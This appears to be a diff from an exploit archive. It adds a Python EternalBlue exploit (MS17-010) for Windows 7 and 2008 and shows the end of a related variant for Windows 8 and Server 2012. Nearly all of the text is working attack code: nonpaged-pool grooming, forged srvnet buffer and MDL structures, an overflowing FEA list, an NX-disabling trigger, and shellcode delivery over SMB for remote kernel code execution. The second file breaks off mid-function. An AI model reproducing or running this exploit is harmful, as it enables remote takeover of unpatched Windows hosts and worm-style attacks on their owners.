transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
|
||||
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
|
||||
transCommand['Parameters']['MaxSetupCount'] = 1
|
||||
transCommand['Parameters']['MaxParameterCount'] = len(param)
|
||||
transCommand['Parameters']['MaxDataCount'] = 0
|
||||
transCommand['Data'] = smb.SMBTransaction2_Data()
|
||||
|
||||
transCommand['Parameters']['Setup'] = command
|
||||
transCommand['Parameters']['TotalParameterCount'] = len(param)
|
||||
transCommand['Parameters']['TotalDataCount'] = len(data)
|
||||
|
||||
fixedOffset = 32+3+38 + len(command)
|
||||
if len(param) > 0:
|
||||
padLen = (4 - fixedOffset % 4 ) % 4
|
||||
padBytes = '\xFF' * padLen
|
||||
transCommand['Data']['Pad1'] = padBytes
|
||||
else:
|
||||
transCommand['Data']['Pad1'] = ''
|
||||
padLen = 0
|
||||
|
||||
transCommand['Parameters']['ParameterCount'] = len(param)
|
||||
transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
|
||||
|
||||
if len(data) > 0:
|
||||
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
|
||||
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
|
||||
else:
|
||||
transCommand['Data']['Pad2'] = ''
|
||||
pad2Len = 0
|
||||
|
||||
transCommand['Parameters']['DataCount'] = firstDataFragmentSize
|
||||
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
|
||||
|
||||
transCommand['Data']['Trans_Parameters'] = param
|
||||
transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
|
||||
pkt.addCommand(transCommand)
|
||||
|
||||
conn.sendSMB(pkt)
|
||||
recvPkt = conn.recvSMB() # must be success
|
||||
if recvPkt.getNTStatus() == 0:
|
||||
print('got good NT Trans response')
|
||||
else:
|
||||
print('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()))
|
||||
sys.exit(1)
|
||||
|
||||
i = firstDataFragmentSize
|
||||
while i < len(data):
|
||||
sendSize = min(4096, len(data) - i)
|
||||
if len(data) - i <= 4096:
|
||||
if not sendLastChunk:
|
||||
break
|
||||
send_trans2_second(conn, tid, data[i:i+sendSize], i)
|
||||
i += sendSize
|
||||
|
||||
if sendLastChunk:
|
||||
conn.recvSMB()
|
||||
return i
|
||||
|
||||
|
||||
# connect to target and send a large nbss size with data 0x80 bytes
|
||||
# this method is for allocating big nonpaged pool on target
|
||||
def createConnectionWithBigSMBFirst80(target, for_nx=False):
|
||||
sk = socket.create_connection((target, 445))
|
||||
pkt = '\x00' + '\x00' + pack('>H', 0x8100)
|
||||
# There is no need to be SMB2 because we want the target free the corrupted buffer.
|
||||
# Also this is invalid SMB2 message.
|
||||
# I believe NSA exploit use SMB2 for hiding alert from IDS
|
||||
#pkt += '\xffSMB' # smb2
|
||||
# it can be anything even it is invalid
|
||||
pkt += 'BAAD' # can be any
|
||||
if for_nx:
|
||||
# MUST set no delay because 1 byte MUST be sent immediately
|
||||
sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
||||
pkt += '\x00'*0x7b # another byte will be sent later to disabling NX
|
||||
else:
|
||||
pkt += '\x00'*0x7c
|
||||
sk.send(pkt)
|
||||
return sk
|
||||
|
||||
|
||||
def exploit(target, shellcode, numGroomConn):
|
||||
# force using smb.SMB for SMB1
|
||||
conn = smb.SMB(target, target)
|
||||
|
||||
# can use conn.login() for ntlmv2
|
||||
conn.login_standard('', '')
|
||||
server_os = conn.get_server_os()
|
||||
print('Target OS: '+server_os)
|
||||
if not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")):
|
||||
print('This exploit does not support this target')
|
||||
sys.exit()
|
||||
|
||||
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
||||
|
||||
# Send special feaList to a target except last fragment with SMB_COM_NT_TRANSACT and SMB_COM_TRANSACTION2_SECONDARY command
|
||||
progress = send_nt_trans(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False)
|
||||
|
||||
# Another NT transaction for disabling NX
|
||||
nxconn = smb.SMB(target, target)
|
||||
nxconn.login_standard('', '')
|
||||
nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
||||
nxprogress = send_nt_trans(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False)
|
||||
|
||||
# create some big buffer at server
|
||||
# this buffer MUST NOT be big enough for overflown buffer
|
||||
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010)
|
||||
|
||||
# groom nonpaged pool
|
||||
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
|
||||
srvnetConn = []
|
||||
for i in range(numGroomConn):
|
||||
sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
|
||||
srvnetConn.append(sk)
|
||||
|
||||
# create buffer size NTFEA_SIZE at server
|
||||
# this buffer will be replaced by overflown buffer
|
||||
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10)
|
||||
# disconnect allocConn to free buffer
|
||||
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
|
||||
allocConn.get_socket().close()
|
||||
|
||||
# hope one of srvnetConn is next to holeConn
|
||||
for i in range(5):
|
||||
sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
|
||||
srvnetConn.append(sk)
|
||||
|
||||
# remove holeConn to create hole for fea buffer
|
||||
holeConn.get_socket().close()
|
||||
|
||||
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
|
||||
# first trigger to overwrite srvnet buffer struct for disabling NX
|
||||
send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress)
|
||||
recvPkt = nxconn.recvSMB()
|
||||
retStatus = recvPkt.getNTStatus()
|
||||
if retStatus == 0xc000000d:
|
||||
print('good response status for nx: INVALID_PARAMETER')
|
||||
else:
|
||||
print('bad response status for nx: 0x{:08x}'.format(retStatus))
|
||||
|
||||
# one of srvnetConn struct header should be modified
|
||||
# send '\x00' to disable nx
|
||||
for sk in srvnetConn:
|
||||
sk.send('\x00')
|
||||
|
||||
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
|
||||
# second trigger to place fake struct and shellcode
|
||||
send_trans2_second(conn, tid, feaList[progress:], progress)
|
||||
recvPkt = conn.recvSMB()
|
||||
retStatus = recvPkt.getNTStatus()
|
||||
if retStatus == 0xc000000d:
|
||||
print('good response status: INVALID_PARAMETER')
|
||||
else:
|
||||
print('bad response status: 0x{:08x}'.format(retStatus))
|
||||
|
||||
# one of srvnetConn struct header should be modified
|
||||
# a corrupted buffer will write recv data in designed memory address
|
||||
for sk in srvnetConn:
|
||||
sk.send(fake_recv_struct + shellcode)
|
||||
|
||||
# execute shellcode
|
||||
for sk in srvnetConn:
|
||||
sk.close()
|
||||
|
||||
# nicely close connection (no need for exploit)
|
||||
nxconn.disconnect_tree(tid)
|
||||
nxconn.logoff()
|
||||
nxconn.get_socket().close()
|
||||
conn.disconnect_tree(tid)
|
||||
conn.logoff()
|
||||
conn.get_socket().close()
|
||||
|
||||
|
||||
if len(sys.argv) < 3:
|
||||
print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
|
||||
sys.exit(1)
|
||||
|
||||
TARGET=sys.argv[1]
|
||||
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])
|
||||
|
||||
fp = open(sys.argv[2], 'rb')
|
||||
sc = fp.read()
|
||||
fp.close()
|
||||
|
||||
if len(sc) > 4096:
|
||||
print('Shellcode too long. The place that this exploit put a shellcode is limited to 4096 bytes.')
|
||||
sys.exit()
|
||||
|
||||
# Now, shellcode is known. create a feaList
|
||||
feaList = createFeaList(len(sc))
|
||||
|
||||
print('shellcode size: {:d}'.format(len(sc)))
|
||||
print('numGroomConn: {:d}'.format(numGroomConn))
|
||||
|
||||
exploit(TARGET, sc, numGroomConn)
|
||||
print('done')
|
555
platforms/win_x86-64/remote/42031.py
Executable file
555
platforms/win_x86-64/remote/42031.py
Executable file
|
@ -0,0 +1,555 @@
|
|||
#!/usr/bin/python
|
||||
from impacket import smb
|
||||
from struct import pack
|
||||
import os
|
||||
import sys
|
||||
import socket
|
||||
|
||||
'''
|
||||
EternalBlue exploit for Windows 7/2008 by sleepya
|
||||
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
|
||||
|
||||
Tested on:
|
||||
- Windows 7 SP1 x64
|
||||
- Windows 2008 R2 x64
|
||||
|
||||
Reference:
|
||||
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
|
||||
|
||||
|
||||
Bug detail:
|
||||
- For the bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
|
||||
- You can see SrvOs2FeaListToNt(), SrvOs2FeaListSizeToNt() and SrvOs2FeaToNt() functions logic from WinNT4 source code
|
||||
https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/ea.c#L263
|
||||
- In vulnerable SrvOs2FeaListSizeToNt() function, there is a important change from WinNT4 in for loop. The psuedo code is here.
|
||||
if (nextFea > lastFeaStartLocation) {
|
||||
// this code is for shrinking FeaList->cbList because last fea is invalid.
|
||||
// FeaList->cbList is DWORD but it is cast to WORD.
|
||||
*(WORD *)FeaList = (BYTE*)fea - (BYTE*)FeaList;
|
||||
return size;
|
||||
}
|
||||
- Here is related struct info.
|
||||
#####
|
||||
typedef struct _FEA { /* fea */
|
||||
BYTE fEA; /* flags */
|
||||
BYTE cbName; /* name length not including NULL */
|
||||
USHORT cbValue; /* value length */
|
||||
} FEA, *PFEA;
|
||||
|
||||
typedef struct _FEALIST { /* feal */
|
||||
DWORD cbList; /* total bytes of structure including full list */
|
||||
FEA list[1]; /* variable length FEA structures */
|
||||
} FEALIST, *PFEALIST;
|
||||
|
||||
typedef struct _FILE_FULL_EA_INFORMATION {
|
||||
ULONG NextEntryOffset;
|
||||
UCHAR Flags;
|
||||
UCHAR EaNameLength;
|
||||
USHORT EaValueLength;
|
||||
CHAR EaName[1];
|
||||
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
|
||||
######
|
||||
|
||||
|
||||
Exploit info:
|
||||
- I do not reverse engineer any x86 binary so I do not know about exact offset.
|
||||
- The exploit use heap of HAL (address 0xffffffffffd00010 on x64) for placing fake struct and shellcode.
|
||||
This memory page is executable on Windows 7 and Wndows 2008.
|
||||
- The important part of feaList and fakeStruct is copied from NSA exploit which works on both x86 and x64.
|
||||
- The exploit trick is same as NSA exploit
|
||||
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
|
||||
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
|
||||
- See the code and comment for exploit detail.
|
||||
|
||||
|
||||
srvnet buffer info:
|
||||
- srvnet buffer contains a pointer to another struct and MDL about received buffer
|
||||
- Controlling MDL values results in arbitrary write
|
||||
- Controlling pointer to fake struct results in code execution because there is pointer to function
|
||||
- A srvnet buffer is created after target receiving first 4 bytes
|
||||
- First 4 bytes contains length of SMB message
|
||||
- The possible srvnet buffer size is "..., 0x8???, 0x11000, 0x21000, ...". srvnet.sys will select the size that big enough.
|
||||
- After receiving whole SMB message or connection lost, server call SrvNetWskReceiveComplete() to handle SMB message
|
||||
- SrvNetWskReceiveComplete() check and set some value then pass SMB message to SrvNetCommonReceiveHandler()
|
||||
- SrvNetCommonReceiveHandler() passes SMB message to SMB handler
|
||||
- If a pointer in srvnet buffer is modified to fake struct, we can make SrvNetCommonReceiveHandler() call our shellcode
|
||||
- If SrvNetCommonReceiveHandler() call our shellcode, no SMB handler is called
|
||||
- Normally, SMB handler free the srvnet buffer when done but our shellcode dose not. So memory leak happen.
|
||||
- Memory leak is ok to be ignored
|
||||
'''
|
||||
|
||||
# wanted overflown buffer size (this exploit support only 0x10000 and 0x11000)
|
||||
# the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time
|
||||
# the size 0x11000 is used in nsa exploit. this size is more reliable.
|
||||
NTFEA_SIZE = 0x11000
|
||||
# the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page
|
||||
|
||||
ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + 'A'*0xffde
|
||||
|
||||
ntfea11000 = (pack('<BBH', 0, 0, 0) + '\x00')*600 # with these fea, ntfea size is 0x1c20
|
||||
ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + 'A'*0xf3be # 0x10fe8 - 0x1c20 - 0xc = 0xf3bc
|
||||
|
||||
ntfea1f000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x2494 # with these fea, ntfea size is 0x1b6f0
|
||||
ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + 'A'*0x48ee # 0x1ffe8 - 0x1b6f0 - 0xc = 0x48ec
|
||||
|
||||
ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 }
|
||||
|
||||
'''
|
||||
Reverse from srvnet.sys (Win7 x64)
|
||||
- SrvNetAllocateNonPagedBufferInternal() and SrvNetWskReceiveComplete():
|
||||
|
||||
// for x64
|
||||
struct SRVNET_BUFFER {
|
||||
// offset from POOLHDR: 0x10
|
||||
USHORT flag;
|
||||
char pad[2];
|
||||
char unknown0[12];
|
||||
// offset from SRVNET_POOLHDR: 0x20
|
||||
LIST_ENTRY list;
|
||||
// offset from SRVNET_POOLHDR: 0x30
|
||||
char *pnetBuffer;
|
||||
DWORD netbufSize; // size of netBuffer
|
||||
DWORD ioStatusInfo; // copy value of IRP.IOStatus.Information
|
||||
// offset from SRVNET_POOLHDR: 0x40
|
||||
MDL *pMdl1; // at offset 0x70
|
||||
DWORD nByteProcessed;
|
||||
DWORD pad3;
|
||||
// offset from SRVNET_POOLHDR: 0x50
|
||||
DWORD nbssSize; // size of this smb packet (from user)
|
||||
DWORD pad4;
|
||||
QWORD pSrvNetWekStruct; // want to change to fake struct address
|
||||
// offset from SRVNET_POOLHDR: 0x60
|
||||
MDL *pMdl2;
|
||||
QWORD unknown5;
|
||||
// offset from SRVNET_POOLHDR: 0x70
|
||||
// MDL mdl1; // for this srvnetBuffer (so its pointer is srvnetBuffer address)
|
||||
// MDL mdl2;
|
||||
// char transportHeader[0x50]; // 0x50 is TRANSPORT_HEADER_SIZE
|
||||
// char netBuffer[0];
|
||||
};
|
||||
|
||||
struct SRVNET_POOLHDR {
|
||||
DWORD size;
|
||||
char unknown[12];
|
||||
SRVNET_BUFFER hdr;
|
||||
};
|
||||
'''
|
||||
# Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
|
||||
# Here is the important fields on x64
|
||||
# - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
|
||||
# The value MUST point to valid (might be fake) struct.
|
||||
# - offset 0x70 (MDL) : MDL for describe receiving SMB request buffer
|
||||
# - 0x70 (VOID*) : MDL.Next should be NULL
|
||||
# - 0x78 (USHORT) : MDL.Size should be some value that not too small
|
||||
# - 0x7a (USHORT) : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)
|
||||
# - 0x80 (VOID*) : MDL.Process should be NULL
|
||||
# - 0x88 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
|
||||
# The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
|
||||
#
|
||||
#
|
||||
# To free the corrupted srvnet buffer, shellcode MUST modify some memory value to satisfy condition.
|
||||
# Here is related field for freeing corrupted buffer
|
||||
# - offset 0x10 (USHORT): be 0xffff to make SrvNetFreeBuffer() really free the buffer (else buffer is pushed to srvnet lookaside)
|
||||
# a corrupted buffer MUST not be reused.
|
||||
# - offset 0x48 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
|
||||
# before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
|
||||
# your shellcode as function argument
|
||||
# - offset 0x60 (PMDL) : points to any fake MDL with MDL.Flags 0x20 does not set
|
||||
# The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
|
||||
# Here is x64 assembly code for setting nByteProcessed field
|
||||
# - fetch SRVNET_BUFFER address from function argument
|
||||
# \x48\x8b\x54\x24\x40 mov rdx, [rsp+0x40]
|
||||
# - set nByteProcessed for trigger free after return
|
||||
# \x8b\x4a\x2c mov ecx, [rdx+0x2c]
|
||||
# \x89\x4a\x38 mov [rdx+0x38], ecx
|
||||
|
||||
TARGET_HAL_HEAP_ADDR_x64 = 0xffffffffffd00010
|
||||
TARGET_HAL_HEAP_ADDR_x86 = 0xffdff000
|
||||
|
||||
fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2
|
||||
fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2
|
||||
fakeSrvNetBufferNsa += '\x00'*16
|
||||
fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20)
|
||||
fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0xffffffff, 0x60, 0x1004, 0) # _, x86 MDL.Next, .Size, .MdlFlags, .Process
|
||||
fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64) # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct
|
||||
fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # x64 pmdl2
|
||||
# below 0x20 bytes is overwritting MDL
|
||||
# NSA exploit overwrite StartVa, ByteCount, ByteOffset fields but I think no need because ByteCount is always big enough
|
||||
fakeSrvNetBufferNsa += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
|
||||
fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Process, MDL.MappedSystemVa
|
||||
|
||||
# below is for targeting x64 only (all x86 related values are set to 0)
|
||||
# this is for show what fields need to be modified
|
||||
fakeSrvNetBufferX64 = pack('<II', 0x11000, 0)*2
|
||||
fakeSrvNetBufferX64 += pack('<HHIQ', 0xffff, 0, 0, 0)
|
||||
fakeSrvNetBufferX64 += '\x00'*16
|
||||
fakeSrvNetBufferX64 += '\x00'*16
|
||||
fakeSrvNetBufferX64 += '\x00'*16 # 0x40
|
||||
fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64) # _, _, pointer to fake struct
|
||||
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # pmdl2
|
||||
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
|
||||
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Process, MDL.MappedSystemVa
|
||||
|
||||
|
||||
fakeSrvNetBuffer = fakeSrvNetBufferNsa
|
||||
#fakeSrvNetBuffer = fakeSrvNetBufferX64
|
||||
|
||||
feaList = pack('<I', 0x10000) # the max value of feaList size is 0x10000 (the only value that can trigger bug)
|
||||
feaList += ntfea[NTFEA_SIZE]
|
||||
# Note:
|
||||
# - SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively
|
||||
# - x64: below fea will be copy to offset 0x11000 of overflow buffer
|
||||
# - x86: below fea will be copy to offset 0x10ff8 of overflow buffer
|
||||
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer)-1) + fakeSrvNetBuffer # -1 because first '\x00' is for name
|
||||
# stop copying by invalid flag (can be any value except 0 and 0x80)
|
||||
feaList += pack('<BBH', 0x12, 0x34, 0x5678)
|
||||
|
||||
|
||||
# fake struct for SrvNetWskReceiveComplete() and SrvNetCommonReceiveHandler()
|
||||
# x64: fake struct is at ffffffff ffd00010
|
||||
# offset 0xa0: LIST_ENTRY must be valid address. cannot be NULL.
|
||||
# offset 0x08: set to 3 (DWORD) for invoking ptr to function
|
||||
# offset 0x1d0: KSPIN_LOCK
|
||||
# offset 0x1d8: array of pointer to function
|
||||
#
|
||||
# code path to get code exection after this struct is controlled
|
||||
# SrvNetWskReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
|
||||
fake_recv_struct = pack('<QII', 0, 3, 0)
|
||||
fake_recv_struct += '\x00'*16
|
||||
fake_recv_struct += pack('<QII', 0, 3, 0)
|
||||
fake_recv_struct += ('\x00'*16)*7
|
||||
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0) # offset 0xa0 (LIST_ENTRY to itself)
|
||||
fake_recv_struct += '\x00'*16
|
||||
fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0) # x86 LIST_ENTRY
|
||||
fake_recv_struct += ('\x00'*16)*11
|
||||
fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190) # fn_ptr array on x86
|
||||
fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0) # x86 shellcode address
|
||||
fake_recv_struct += ('\x00'*16)*3
|
||||
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0) # offset 0x1d0: KSPINLOCK, fn_ptr array
|
||||
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1) # x64 shellcode address - 1 (this value will be increment by one)
|
||||
|
||||
|
||||
def getNTStatus(self):
|
||||
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
|
||||
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
|
||||
|
||||
def sendEcho(conn, tid, data):
|
||||
pkt = smb.NewSMBPacket()
|
||||
pkt['Tid'] = tid
|
||||
|
||||
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
|
||||
transCommand['Parameters'] = smb.SMBEcho_Parameters()
|
||||
transCommand['Data'] = smb.SMBEcho_Data()
|
||||
|
||||
transCommand['Parameters']['EchoCount'] = 1
|
||||
transCommand['Data']['Data'] = data
|
||||
pkt.addCommand(transCommand)
|
||||
|
||||
conn.sendSMB(pkt)
|
||||
recvPkt = conn.recvSMB()
|
||||
if recvPkt.getNTStatus() == 0:
|
||||
print('got good ECHO response')
|
||||
else:
|
||||
print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
|
||||
|
||||
|
||||
# do not know why Word Count can be 12
|
||||
# if word count is not 12, setting ByteCount without enough data will be failed
|
||||
class SMBSessionSetupAndXCustom_Parameters(smb.SMBAndXCommand_Parameters):
|
||||
structure = (
|
||||
('MaxBuffer','<H'),
|
||||
('MaxMpxCount','<H'),
|
||||
('VCNumber','<H'),
|
||||
('SessionKey','<L'),
|
||||
#('AnsiPwdLength','<H'),
|
||||
('UnicodePwdLength','<H'),
|
||||
('_reserved','<L=0'),
|
||||
('Capabilities','<L'),
|
||||
)
|
||||
|
||||
def createSessionAllocNonPaged(target, size):
|
||||
# The big nonpaged pool allocation is in BlockingSessionSetupAndX() function
|
||||
# You can see the allocation logic (even code is not the same) in WinNT4 source code
|
||||
# https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/smbadmin.c#L1050 till line 1071
|
||||
conn = smb.SMB(target, target)
|
||||
_, flags2 = conn.get_flags()
|
||||
# FLAGS2_EXTENDED_SECURITY MUST not be set
|
||||
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
|
||||
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
|
||||
if size >= 0xffff:
|
||||
flags2 &= ~smb.SMB.FLAGS2_UNICODE
|
||||
reqSize = size // 2
|
||||
else:
|
||||
flags2 |= smb.SMB.FLAGS2_UNICODE
|
||||
reqSize = size
|
||||
conn.set_flags(flags2=flags2)
|
||||
|
||||
pkt = smb.NewSMBPacket()
|
||||
|
||||
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
|
||||
sessionSetup['Parameters'] = SMBSessionSetupAndXCustom_Parameters()
|
||||
|
||||
sessionSetup['Parameters']['MaxBuffer'] = 61440 # can be any value greater than response size
|
||||
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
|
||||
sessionSetup['Parameters']['VCNumber'] = os.getpid()
|
||||
sessionSetup['Parameters']['SessionKey'] = 0
|
||||
sessionSetup['Parameters']['AnsiPwdLength'] = 0
|
||||
sessionSetup['Parameters']['UnicodePwdLength'] = 0
|
||||
sessionSetup['Parameters']['Capabilities'] = 0x80000000
|
||||
|
||||
# set ByteCount here
|
||||
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
|
||||
pkt.addCommand(sessionSetup)
|
||||
|
||||
conn.sendSMB(pkt)
|
||||
recvPkt = conn.recvSMB()
|
||||
if recvPkt.getNTStatus() == 0:
|
||||
print('SMB1 session setup allocate nonpaged pool success')
|
||||
else:
|
||||
print('SMB1 session setup allocate nonpaged pool failed')
|
||||
return conn
|
||||
|
||||
|
||||
# Note: impacket-0.9.15 struct has no ParameterDisplacement
|
||||
############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
|
||||
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
|
||||
structure = (
|
||||
('TotalParameterCount','<H=0'),
|
||||
('TotalDataCount','<H'),
|
||||
('ParameterCount','<H=0'),
|
||||
('ParameterOffset','<H=0'),
|
||||
('ParameterDisplacement','<H=0'),
|
||||
('DataCount','<H'),
|
||||
('DataOffset','<H'),
|
||||
('DataDisplacement','<H=0'),
|
||||
('FID','<H=0'),
|
||||
)
|
||||
|
||||
def send_trans2_second(conn, tid, data, displacement):
|
||||
pkt = smb.NewSMBPacket()
|
||||
pkt['Tid'] = tid
|
||||
|
||||
# assume no params
|
||||
|
||||
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
|
||||
transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
|
||||
transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
|
||||
|
||||
transCommand['Parameters']['TotalParameterCount'] = 0
|
||||
transCommand['Parameters']['TotalDataCount'] = len(data)
|
||||
|
||||
fixedOffset = 32+3+18
|
||||
transCommand['Data']['Pad1'] = ''
|
||||
|
||||
transCommand['Parameters']['ParameterCount'] = 0
|
||||
transCommand['Parameters']['ParameterOffset'] = 0
|
||||
|
||||
if len(data) > 0:
|
||||
pad2Len = (4 - fixedOffset % 4) % 4
|
||||
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
|
||||
else:
|
||||
transCommand['Data']['Pad2'] = ''
|
||||
pad2Len = 0
|
||||
|
||||
transCommand['Parameters']['DataCount'] = len(data)
|
||||
transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
|
||||
transCommand['Parameters']['DataDisplacement'] = displacement
|
||||
|
||||
transCommand['Data']['Trans_Parameters'] = ''
|
||||
transCommand['Data']['Trans_Data'] = data
|
||||
pkt.addCommand(transCommand)
|
||||
|
||||
conn.sendSMB(pkt)
|
||||
|
||||
|
||||
def send_nt_trans(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
|
||||
pkt = smb.NewSMBPacket()
|
||||
pkt['Tid'] = tid
|
||||
|
||||
command = pack('<H', setup)
|
||||
|
||||
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
|
||||
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
|
||||
transCommand['Parameters']['MaxSetupCount'] = 1
|
||||
transCommand['Parameters']['MaxParameterCount'] = len(param)
|
||||
transCommand['Parameters']['MaxDataCount'] = 0
|
||||
transCommand['Data'] = smb.SMBTransaction2_Data()
|
||||
|
||||
transCommand['Parameters']['Setup'] = command
|
||||
transCommand['Parameters']['TotalParameterCount'] = len(param)
|
||||
transCommand['Parameters']['TotalDataCount'] = len(data)
|
||||
|
||||
fixedOffset = 32+3+38 + len(command)
|
||||
if len(param) > 0:
|
||||
padLen = (4 - fixedOffset % 4 ) % 4
|
||||
padBytes = '\xFF' * padLen
|
||||
transCommand['Data']['Pad1'] = padBytes
|
||||
else:
|
||||
transCommand['Data']['Pad1'] = ''
|
||||
padLen = 0
|
||||
|
||||
transCommand['Parameters']['ParameterCount'] = len(param)
|
||||
transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
|
||||
|
||||
if len(data) > 0:
|
||||
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
|
||||
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
|
||||
else:
|
||||
transCommand['Data']['Pad2'] = ''
|
||||
pad2Len = 0
|
||||
|
||||
transCommand['Parameters']['DataCount'] = firstDataFragmentSize
|
||||
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
|
||||
|
||||
transCommand['Data']['Trans_Parameters'] = param
|
||||
transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
|
||||
pkt.addCommand(transCommand)
|
||||
|
||||
conn.sendSMB(pkt)
|
||||
conn.recvSMB() # must be success
|
||||
|
||||
i = firstDataFragmentSize
|
||||
while i < len(data):
|
||||
sendSize = min(4096, len(data) - i)
|
||||
if len(data) - i <= 4096:
|
||||
